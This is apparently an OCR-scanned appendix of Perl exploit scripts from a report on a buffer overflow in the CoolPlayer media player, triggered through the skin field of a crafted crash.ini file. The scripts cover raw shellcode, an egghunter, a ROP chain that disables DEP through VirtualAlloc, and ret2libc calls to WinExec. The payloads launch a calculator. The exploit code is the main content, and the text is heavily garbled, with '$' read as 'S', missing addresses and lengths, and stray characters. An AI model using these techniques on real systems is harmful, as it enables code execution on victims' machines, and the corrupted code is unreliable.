\x4c\x54\x4a\x4d\x50\x4b" ."\x4b\x4b\x50\x43\x45\x45\x55\x4f\x4b\x47\x37\x54\
x53\x43" ."\x42\x52\x4f\x43\x5a\x43\x30\x56\x33\x4b\x4f\x58\x55\x52" ."\x43\x
43\x51\x52\x4c\x43\x53\x56\x4e\x52\x45\x52\x58\x43" ."\x55\x45\x50\x41\x41";

open ($SFILE,">S$file") ;
print SFILE S$Sbuffer;

crashadvanced.pl

$file= "crash.ini";

Sbuffer = "[CoolPlayer Skin]\nPlaylistSkin=";

Sbuffer .= "A" x 2

Sbuffer .= pack('V', ) ;

#NOP Padding

Sbuffer .= "\x90" x g

#Advanced Shellcode

Sbuffer .= "\x89\xe3\xdb\xcb\xdo9\x73\xf4\x5e\x56\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b"
"\x58\x4b\x39\x45\x50\x45\x50\x43\x30\x43\x50\x4b\x39\x5a"
"\x45\x50\x31\x58\x52\x43\x54\x4c\x4b\x56\x32\x50\x30\x4c"
"\x4b\x50\x52\x54\x4c\x4c\x4b\x56\x32\x54\x54 \x4c\x4b\x54"
"\x32\x47\x58\x54\x4f\x58\x37\x50\x4a\x47\x56\x56\x51\x4b"




"\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x43"
"\x32\x56\x4c\x51\x30\x4f\x31\x58\x4f\x54\x4d\x43\x31\x4f"
"\x37\x4d\x32\x5a\x50\x56\x32\x51\x47\x4c\x4b\x50\x52\x52"
"\x30\x4c\x4b\x50\x42\x47\x4c\x45\x51\x58\x50\x4c\x4b\x51"
"\x50\x54\x38\x4c\x45\x49\x50\x43\x44\x51\x5a\x43\x31\x4e"
"\x30\x50\x50\x4c\x4b\x47\x38\x45\x48\x4c\x4b\x56\x38\x51"
"\x30\x43\x31\x49\x43\x4d\x33\x47\x4c\x51\x59\x4c\x4b\x56"
"\x54\x4c\x4b\x45\x51\x4e\x36\x56\x51\x4b\x4f\x56\x51\x4f"
"\x30\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x49\x57\x56"
"\x58\x4d\x30\x54\x35\x5a\x54\x54\x43\x43\x4d\x5a\x58\x47"
"\x4b\x43\x4d\x56\x44\x54\x35\x5a\x42\x50\x58\x4c\x4b\x51"
"\x48\x56\x44\x45\x51\x4e\x33\x45\x36\x4c\x4b\x54\x4c\x50"
"\x4b\x4c\x4b\x56\x38\x45\x4c\x45\x51\x49\x43\x4c\x4b\x43"
"\x34\x4c\x4b\x45\x51\x58\x50\x4b\x39\x47\x34\x56\x44\x47"
"\x54\x51\x4b\x51\x4b\x43\x51\x51\x49\x51\x4a\x56\x31\x4b"
"\x4f\x4b\x50\x50\x58\x51\x4f\x50\x5a\x4c\x4b\x54\x52\x5a"
"\x4b\x4c\x46\x51\x4d\x43\x58\x56\x53\x47\x42\x43\x30\x43"
"\x30\x43\x58\x52\x57\x54\x33\x56\x52\x51\x4f\x56\x34\x43"
"\x58\x50\x4c\x43\x47\x56\x46\x54\x47\x4b\x4f\x4e\x35\x4e"
"\x58\x5a\x30\x43\x31\x45\x50\x43\x30\x56\x49\x4f\x34\x50"
"\x54\x50\x50\x43\x58\x56\x49\x4b\x30\x52\x4b\x43\x30\x4b"
"\x4f\x4e\x35\x56\x30\x50\x50\x50\x50\x56\x30\x51\x50\x56"
"\x30\x51\x50\x56\x30\x45\x38\x4b\x5a\x54\x4f\x49\x4f\x4d"
"\x30\x4b\x4f\x58\x55\x4d\x59\x49\x57\x45\x38\x4f\x30\x49"
"\x38\x43\x30\x4d\x4e\x45\x38\x43\x32\x43\x30\x52\x31\x51"
"\x4c\x4b\x39\x4b\x56\x43\x5a\x52\x30\x56\x36\x56\x37\x45"
"\x38\x5a\x39\x49\x35\x52\x54\x43\x51\x4b\x4f\x58\x55\x45"
"\x38\x43\x53\x52\x4d\x52\x44\x43\x30\x4c\x49\x5a\x43\x56"
"\x37\x56\x37\x50\x57\x50\x31\x4b\x46\x43\x5a\x52\x32\x50"
"\x59\x51\x46\x4d\x32\x4b\x4d\x43\x56\x4f\x37\x47\x34\x51"
"\x34\x47\x4c\x45\x51\x45\x51\x4c\x4d\x50\x44\x51\x34\x54"
"\x50\x58\x46\x45\x50\x51\x54\x50\x54\x56\x30\x56\x36\x56"
"\x36\x50\x56\x51\x56\x51\x46\x50\x4e\x50\x56\x56\x36\x51"
"\x43\x51\x46\x52\x48\x54\x39\x58\x4c\x47\x4f\x4c\x46\x4b"
"\x4f\x58\x55\x4d\x59\x4d\x30\x50\x4e\x56\x36\x47\x36\x4b"
"\x4f\x56\x50\x45\x38\x43\x38\x4c\x47\x45\x4d\x43\x50\x4b"
"\x4f\x58\x55\x4f\x4b\x5a\x50\x58\x35\x4e\x42\x51\x46\x45"
"\x38\x4f\x56\x5a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x49\x45\x47"
"\x4c\x54\x46\x43\x4c\x45\x5a\x4b\x30\x4b\x4b\x4d\x30\x54"
"\x35\x45\x55\x4f\x4b\x51\x57\x54\x53\x54\x32\x52\x4f\x52"
"\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35\x41\x41";

open ($SFILE,">S$file") ;

print SFILE Sbuffer;

egghunter.pl

Sfile= "crash.ini";

Sbuffer = "[CoolPlayer Skin]\nPlaylistSkin=";

Sbuffer .= "A" x g

Sbuffer .= pack('V', ) g

#NOP Padding

Sbuffer .= "\x90" x 2

#Egg Hunter shellcode

Sbuffer .=
"\x66\x81\xCA\XxFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" .
"\x77\x30\x30\x74". # this is the marker/tag: w00t




"\ x8B\xFA\XAF\x75\xEA\XAF\x75\xE7\xFF\xE7" ;

#More NOP Padding

Sbuffer .= "\x90" x

#Egg Tag

Sbuffer .= "w00twOOt";

#Calculator Shellcode

Sbuffer .=

"\xda\xd2\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x43\x43\x43" ."\x43\x43\x43\x43
\x52\x59\x56\x54\x58\x33\x30\x56\x58\x34" ."\x41\x50\x30\x41\x33\x48\x48\x30\
x41\x30\x30\x41\x42\x41" ."\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x
30\x42" ."\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b" ."\x39\x4
5\x50\x43\x30\x43\x30\x43\x50\x4c\x49\x5a\x45\x56" ."\x51\x49\x42\x43\x54\x4c
\x4b\x56\x32\x56\x50\x4c\x4b\x56" ."\x32\x54\x4c\x4c\x4b\x50\x52\x54\x54\x4c\
x4b\x54\x32\x47" ."\x58\x54\x4f\x4f\x47\x51\x5a\x47\x56\x56\x51\x4b\x4f\x56"
C"\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x43\x32\x56" ."\x4c\x47\x50\x4
9\x51\x58\x4f\x54\x4d\x45\x51\x49\x57\x5a" ."\x42\x4c\x30\x50\x52\x51\x47\x4c
\x4b\x56\x32\x54\x50\x4c" ."\x4b\x47\x32\x47\x4c\x45\x51\x58\x50\x4c\x4b\x47\
x30\x54" ."\x38\x4b\x35\x49\x50\x54\x34\x51\x5a\x45\x51\x4e\x30\x50" ."\x50\x
4c\x4b\x47\x38\x45\x48\x4c\x4b\x50\x58\x51\x30\x45" ."\x51\x58\x53\x5a\x43\x4
T\x4c\x47\x39\x4c\x4b\x47\x44\x4c" ."\x4b\x45\x51\x49\x46\x50\x31\x4b\x4£f\x50
\x31\x4f\x30\x4e" ."\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x56\x58\x4d"
. "\x30\x43\x45\x5a\x54\x45\x53\x43\x4d\x4c\x38\x47\x4b\x43" ."\x4d\x56\x44\x5
4\x35\x4d\x32\x50\x58\x4c\x4b\x50\x58\x56" ."\x44\x43\x31\x4e\x33\x43\x56\x4c
\x4b\x54\x4c\x50\x4b\x4c" ."\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x54\
x44\x4c" ."\x4b\x45\x51\x58\x50\x4d\x59\x47\x34\x47\x54\x47\x54\x51" ."\x4b\x
51\x4b\x43\x51\x56\x39\x50\x5a\x50\x51\x4b\x4f\x4b" ."\x50\x50\x58\x51\x4f\x5
0\x5a\x4c\x4b\x52\x32\x5a\x4b\x4c" ."\x46\x51\x4d\x52\x4a\x45\x51\x4c\x4d\x4b
\x35\x4f\x49\x43" ."\x30\x45\x50\x43\x30\x56\x30\x45\x38\x56\x51\x4c\x4b\x52"
C"\x4f\x4b\x37\x4b\x4f\x4e\x35\x4f\x4b\x5a\x50\x58\x35\x4e" ."\x42\x56\x36\x4
5\x38\x49\x36\x4c\x55\x4f\x4d\x4d\x4d\x4b" ."\x4f\x58\x55\x47\x4c\x54\x46\x43
\x4c\x54\x4a\x4d\x50\x4b" ."\x4b\x4b\x50\x43\x45\x45\x55\x4f\x4b\x47\x37\x54\
x53\x43" ."\x42\x52\x4f\x43\x5a\x43\x30\x56\x33\x4b\x4f\x58\x55\x52" ."\x43\x
43\x51\x52\x4c\x43\x53\x56\x4e\x52\x45\x52\x58\x43" ."\x55\x45\x50\x41\x41";

open ($SFILE,">S$file") ;
print SFILE S$Sbuffer;
close;

APPENDIX B — PERL SCRIPTS (DEP ON)

ropchain.pl

Sfile= "crash.ini";

Sbuffer = "[CoolPlayer Skin]\nPlaylistSkin=";
Sbuffer .= "A" x g

#RETN Instruction
Sbuffer .= pack('V',

#ROP Chain to disable DEP

Sbuffer .= pack('V', ); #POP EBP # RETN [msvcrt.dll]

Sbuffer .= pack('V', ); #skip 4 bytes [msvcrt.dll]
#[---INFO:gadgets to set ebx:---]




Sbuffer .= pack('V' ) ; #POP EBX RETN [msvcrt.dll]

Sbuffer .= pack('V', ), #

Sbuffer .= pack('V' ); #INC EBX RETN [msvcrt.dll]

Sbuffer .= pack('V' ) ; #INC EBX RETN [msvcrt.dll]
#[---INFO:gadgets to set edx:---]

Sbuffer .= pack('V', ); #POP EAX # RETN [msvcrt.dll]

Sbuffer .= pack('V', ); #put delta into eax (-> put 0x00001000

edx)

Sbuffer .= pack('V', ) ; #ADD EAX,75C13B66 # ADD EAX,5D40C033 #

[msvcrt.dll]

Sbuffer .= pack('V', ); #XCHG EAX,EDX # RETN [msvcrt.dll]
#[---INFO:gadgets to set ecx:---]

Sbuffer .= pack('V', ); #POP EAX # RETN [msvcrt.dll]

Sbuffer .= pack('V', ); #put delta into eax (-> put 0x00000040

ecx)

Sbuffer .= pack('V', ); #ADD EAX,75C13B66 # ADD EAX,5D40C033 #

[msvcrt.dll]

Sbuffer .= pack('V', ) ; #XCHG EAX,ECX # RETN [msvcrt.dll]
#[---INFO:gadgets to set edi:---]

Sbuffer .= pack('V', ); #POP EDI # RETN [msvcrt.dll]

Sbuffer .= pack('V', ); #RETN (ROP NOP) [msvcrt.dll]
#[---INFO:gadgets to set esi:-—-]

Sbuffer .= 'v', ; #POP ESI # RETN [msvcrt.dll]

Sbuffer . 'v', ; #JMP [EAX] [msvcrt.dll]

Sbuffer .= ; #POP EAX # RETN [msvcrt.dll]

Sbuffer . ; #ptr to &VirtualAlloc() [IAT msvcrt.dll]
#[-—-—-INFO:pushad:——-]

Sbuffer .= pack('V', ; #PUSHAD # RETN [msvcrt.dll]
#[-—-INFO:extras:—-—-]

Sbuffer .= pack('V', ; #ptr to 'push esp # ret ' [msvcrt.dll]

#NOP Padding
Sbuffer .="\x90" x

#Calculator shellcode

Sbuffer .= "\xda\xd2\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x43\x43\x43"
"\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41"
"\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42"
"\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b"
"\x39\x45\x50\x43\x30\x43\x30\x43\x50\x4c\x49\x5a\x45\x56"
"\x51\x49\x42\x43\x54\x4c\x4b\x56\x32\x56\x50\x4c\x4b\x56"
"\x32\x54\x4c\x4c\x4b\x50\x52\x54\x54\x4c\x4b\x54\x32\x47"
"\x58\x54\x4f\x4f\x47\x51\x5a\x47\x56\x56\x51\x4b\x4f\x56"
"\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x43\x32\x56"
"\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x49\x57\x5a"
"\x42\x4c\x30\x50\x52\x51\x47\x4c\x4b\x56\x32\x54\x50\x4c"
"\x4b\x47\x32\x47\x4c\x45\x51\x58\x50\x4c\x4b\x47\x30\x54"
"\x38\x4b\x35\x49\x50\x54\x34\x51\x5a\x45\x51\x4e\x30\x50"
"\x50\x4c\x4b\x47\x38\x45\x48\x4c\x4b\x50\x58\x51\x30\x45"
"\x51\x58\x53\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x47\x44\x4c"
"\x4b\x45\x51\x49\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e"
"\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x56\x58\x4d"
"\x30\x43\x45\x5a\x54\x45\x53\x43\x4d\x4c\x38\x47\x4b\x43"
"\x4d\x56\x44\x54\x35\x4d\x32\x50\x58\x4c\x4b\x50\x58\x56"
"\x44\x43\x31\x4e\x33\x43\x56\x4c\x4b\x54\x4c\x50\x4b\x4c"
"\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x54\x44\x4c"




"\x4b\x45\x51\x58\x50\x4d\x59\x47\x34\x47\x54\x47\x54\x51"
"\x4b\x51\x4b\x43\x51\x56\x39\x50\x5a\x50\x51\x4b\x4f\x4b"
"\x50\x50\x58\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b\x4c"
"\x46\x51\x4d\x52\x4a\x45\x51\x4c\x4d\x4b\x35\x4f\x49\x43"
"\x30\x45\x50\x43\x30\x56\x30\x45\x38\x56\x51\x4c\x4b\x52"
"\x4f\x4b \x 4f\x4e\x35\ \x4b\x5a\x50\x58\x35\x4e"
"\x42\x56\x36\x45\x38\x49\x36\x x55\x4f\x4d\x4d\x4d\x4b"

"\x4f\x58\x55\x47\x4c\x54\x46\x x4c\x54\x4a\x4d\x50\x4b"
"\x4b\x4b\x50\x43\x45\x45\x55\x4f\x4b\x47\x37\x54\x53\x43"
"\x42\x52\x4f\x43\x5a\x43\x30\x56\5 \x4b\x4f\x58\x55\x52"
"\x43\x43\x51\x52\x4c\x43\x53\x56\x4e\x52\x45\x52\x58\x43"
"\x55\x45\x50\x41\x41";

open (SFILE, ">Sfile") ;

print SFILE Sbuffer;

ret2libcl.pl

Sfile= "crash.ini";
Sheader = "[CoolPlayer Skin]\nPlaylistSkin=";

Sshellcode = "cmd /c calc&";
Sbuffer = Sheader. $shellcode. "A" x ( - length (S$shellcode)) ;

Sbuffer .= pack('V', ) 7
open (SFILE, ">Sfile");

print SFILE Sbuffer;
close;

ret2libc2.pl

Sfile= "crash.ini";
Sheader = "[CoolPlayer Skin]\nPlaylistSkin=";

$Sshellcode = "cmd /c calc&";
Sbuffer = Sheader. $shellcode. "A" x ( - length ($shellcode)) ;

Sbuffer .= V', 2 winexec

Sbuffer . , 2 exitprocess
Sbuffer . , 2 cmdline addr
Sbuffer . , 2 window style

€SS

open (SFILE,">Sfile") ;
print SFILE Sbuffer;
close;




